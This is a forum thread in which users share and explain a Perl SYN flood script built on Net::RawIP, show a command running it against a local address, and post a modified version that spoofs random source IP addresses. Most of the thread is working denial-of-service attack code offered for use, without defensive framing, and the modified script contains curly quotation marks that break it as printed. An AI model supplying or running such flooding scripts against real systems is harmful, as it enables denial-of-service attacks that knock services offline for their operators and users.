Results 1 to 5 of 5

Thread: synflood.pl

  1. #1
    Senior Member
    Join Date
    Feb 2009
    Posts
    153

    Default synflood.pl

    I am not that good at reading scripts, but i need some help finding out which variable i have to change with the source_ip destination_ip destination_port

    Thank You

    Code:
    #!/usr/bin/perl
    # synflood.pl - Simple SYN Flooder
    # Author: iphelix
    #
    # Requires perl, Net::RawIP module, and root privileges
    
    use Net::RawIP;
    
    if($#ARGV == 2) {
       ($src,$dst,$port) = @ARGV;
       $a = new Net::RawIP;
       while(1) {
          $src_port = rand(65534)+1;
          $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
          $a->send;   
       }
    } else {
       print "./synflooder source_ip destination_ip destination_port\n";
    }

  2. #2
    Member cr1spyj0nes's Avatar
    Join Date
    Sep 2008
    Posts
    164

    Default

    dont judge me but i think its

    if($#ARGV == 2)

  3. #3
    Moderator KMDave's Avatar
    Join Date
    Jan 2010
    Posts
    2,281

    Default

    That's wrong.

    Just read what it says in the last line before the }

    It is explained pretty well, where the values for the variables come from.
    Tiocfaidh ár lá

  4. #4
    Developer
    Join Date
    Mar 2007
    Posts
    6,124

    Default

    Works fine

    r00t@infected ~ $ sudo perl synflood.pl 192.168.1.193 192.168.1.1 80

  5. #5
    Just burned his ISO
    Join Date
    Nov 2009
    Posts
    1

    Default

    I modified the original script, the result was:

    #!/usr/bin/perl
    # synSpoofFlood
    # Author: Lucas Allan
    #
    # Based on Simple SYN Flooder by iphelix
    # Requires perl, Net::RawIP module, and root privileges
    #
    # lucasallan.com
    #

    use Net::RawIP;

    sub geraIP(){
    $range = 255;
    $iA = int(rand($range));
    $iB = int(rand($range));
    $iC = int(rand($range));
    $iD = int(rand($range));

    return $iA . “.” . $iB . “.” . $iC . “.” . $iD;
    }

    sub attack(){
    ($dst,$port) = @ARGV;
    $a = new Net::RawIP;
    while(1) {
    $src_port = rand(65534)+1;
    $src = geraIP();
    $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
    $a->send;
    }
    }
    if($#ARGV == 1) {
    attack();

    } else {
    print “Target Port\n”;
    }

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •